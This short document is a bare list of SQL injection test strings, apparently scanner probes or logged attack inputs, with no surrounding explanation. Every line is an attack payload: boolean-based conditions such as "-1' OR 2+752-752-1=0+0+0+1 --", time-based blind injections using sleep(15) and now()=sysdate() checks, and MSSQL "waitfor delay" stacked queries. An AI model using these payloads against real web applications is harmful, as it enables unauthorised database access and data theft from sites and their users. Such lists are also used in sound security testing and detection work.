1

-1 OR 2+838-838-1=0+0+0+1

-1' OR 2+752-752-1=0+0+0+1 --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1' OR 2+934-934-1=0+0+0+1 or 'qDOfu6SR'='

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

-1" OR 2+497-497-1=0+0+0+1 --

1 waitfor delay '0:0:15' --

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

if(now()=sysdate(),sleep(15),0)

jqwwoSm1'; waitfor delay '0:0:15' --